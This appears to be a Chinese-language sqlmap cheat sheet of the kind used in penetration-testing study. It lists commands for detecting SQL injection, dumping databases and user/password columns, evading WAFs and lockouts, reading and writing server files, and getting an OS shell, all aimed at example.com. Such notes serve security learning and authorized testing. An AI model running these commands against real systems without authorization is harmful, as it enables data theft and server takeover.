sqlmap是由Python编写的渗透测试工具,主要用来检测sql注入漏洞,是一款功能强大的sql漏洞检测利用工具。
SQLMAP使用
基本参数
is-dba 当前用户权限
dbs 所有数据库
current-db 当前数据库
users 所有用户
current-user 当前用户
--tables
--columns
--dump
--dump-all
--level
--passwords 枚举所有用户密码
--roles 列出数据库dbajuese
--privileges 列出数据库dba权限
-D
-T
-C
--dbms=mysql oracle mssql 指定数据库
--schema --batch --exclude-sysdbs 查看数据库的架构 (比较大的一个命令)
- 使用示例:
sqlmap -u http://example.com?id=1
# 显示灰色的,可能存在注入
# 注入级别
# 判断是不是dba权限
sqlmap -u http://example.com?id=1 --is-dba
# 列所有的数据库
sqlmap -u http://example.com?id=1 --dbs # 一般能列的话,就是管理员了
# 看当前用户
sqlmap -u http://example.com?id=1 --current-user
# 查看当前数据库
sqlmap -u http://example.com?id=1 --current-db # 假设结果为test
# 查看test数据库的表
sqlmap -u http://example.com?id=1 --tables -D sc
# 查看test数据库中sc表的列
sqlmap -u http://example.com?id=1 --columns -T sc -D test
# 把sc表中的数据转储
sqlmap -u http://example.com?id=1 --dump -T sc -D test
# 或者只转储某几列
sqlmap -u http://example.com?id=1 --dump -C user,passwd -T sc -D test
# access,mysql<5.0,直接爆表就可以
- 参数使用
# 查看有哪些用户 (mysql可以根据ip地址设立独立的密码)
sqlmap -u http://example.com?id=1 --users
# 查看用户密码
sqlmap -u http://example.com?id=1 --passwords
-
探测等级
共有五个等级;级别高,会调用更多的payloads;级别2可以探测cookie;
显示调试信息,有7个级别
sqlmap -u http://example.com?id=1 --users -v 3 # 显示用到的payload
-
风险等级
--risk,默认为1;
level 3 --risk 3
-
获取目标
-u url?id=1 -m 文本 扫描多个目标 -r 请求包 使用bp抓包,保存为文本; -g google sqlmap -g "inurl:\".php?id=1\"" --data post要提交的数据,通过它提交 sqlmap -u http://example.com --data="id=1" --param-del 参数拆分字符 sqlmap -u http://example.com --data="user=1;passwd=1" --param-del=";" --cookie cookie注入 sqlmap -u http://example.com/index.php --cookie "id=9" --table --level 2 --referer, --headers, --proxy --referer: 把发的包设为后面的地址 sqlmap -u http://example.com/index.php?id=1 --referer "http://baidu.com" --header/-H sqlmap -u http://example.com/index.php?id=1 --headers "client-ip: 127.0.0.1" --proxy 加代理,比如设置bp为代理;数据包先发给代理,代理再发出去 sqlmap -u http://example.com/index.php?id=1 --dbs --proxy "http:127.0.0.1:8080"
-
时间控制
--delay # 是定请求间的延迟,默认无延迟; 一般设为0.5s e.g.--delay=0.5 --timeout # 设定请求多久之后为超时 --retries # 超时后,重新尝试连接的次数,默认为3
-
多次错误触发屏蔽的绕过
# 有的web程序,当你多次访问错误时,会屏蔽你之后的请求; # 如果使用sqlmap进行探测或注入时触发这个策略,之后的就无法进行 # 绕过策略方法 --safe-url --safe-freq # 更常用一些
-
指定注入点
# 有多个参数,如果已经知道某个参数有注入,可以使用-p指定这个参数 sqlmap -u http://example.com?index.asp?id=1&sid=12 -p "sid=12"
-
添加字符闭合
# 例如对于 "select * from flag where id='$id'",需要对'进行闭合 # 可以使用--prefix,--suffix选项 sqlmap -u http://example.com?index.asp?id=1 --prefix "'" --suffix "or '1"
-
选择探测方法
# sqlmap有很多探测方式,默认是探测所有的,可使用--technique来选择指定的 B: Boolean-based blind sql injection 布尔盲注 E: Error-based sql injection 报错注入 U: union query sql injection 联合查询注入 S: Stacked queries sql injection 多语句查询注入 T: Time-based blind sql injection 时间延迟注入 sqlmap -u http://example.com?index.asp?id=1 --technique=BEU
-
判断列数
--union-cols=50 探测50列 --union-char=1 填充列的字符,比如50个1;默认是NULL
-
二阶注入
--seconde-order sqlmap -u http://example.com?index.asp --second-order http://example.com?index1.asp
--dump-all # 脱库,获取所有数据库表的内容
--exclude-sysdbs # 只获取用户数据库的表
--search,-C,-T,-D # 搜索特定的表名/列名/db名
--udf-inject, --shared-lib # udf-用户自定义函数
-s # 保存http日志;生成SQLlite文件
-t # 保存
sqlmap -u http://example.com?index.asp?id=1 --flush-session -t c:/1.txt
--batch # 默认,不需用户交互
--charset=utf-8 # 指定编码,不用的话会自动识别
--hex # 十六进制显示
--flush-session # 清除缓存文件
--output-dir # 指定保存路径
--smart # 进行聪明的探测,更快一点
--mobile # 有时服务器只接受移动端访问,假装自己是手机
# 探测waf(了解即可)
--identify-waf # 识别用了什么waf,方便绕过
--check-waf # 探测是不是有waf
-
注册表操作
# 注册表尽量不要乱碰 --reg-add --reg-key="xxxxx"
-
暴力破解表名
# /sqlmap/txt,里面存有一些字典;也可以自己添加; --common-tables -D tables
-
post注入
sqlmap -u http://example.com?index.asp -p id sqlmap -u http://example.com?index.asp --forms sqlmap -u http://example.com?index.asp --data "id=1"
-
搜索框注入
sqlmap -r search-test.txt
-
伪静态注入
# 一般用*指定注入点 sqlmap -u http://example.com?index.asp/view/id/40*.html
-
延迟注入(重要)
--time-sec sqlmap -u http://example.com?index.asp?id=1 --time-sec=5
-
base64编码注入
sqlmap -u http://example.com?index.asp?id=1 --tamper base64encode.py -dbs
-
执行sql语句
--sql-query="select @@version;" --sql-shell # 进入shell,交互式执行; only select
-
文件读写
# 从dbserver读取文件;一般root才有这个权限 sqlmap -u http://example.com?index.asp?id=1 --file-read="c:\php\1.php" # 文件上传 --file-write(本地文件),--file-dest(目标绝对路径)
-
命令执行
--os-cmd, --os-shell
bp、sqlmap、awvs、nmap、msf、hydra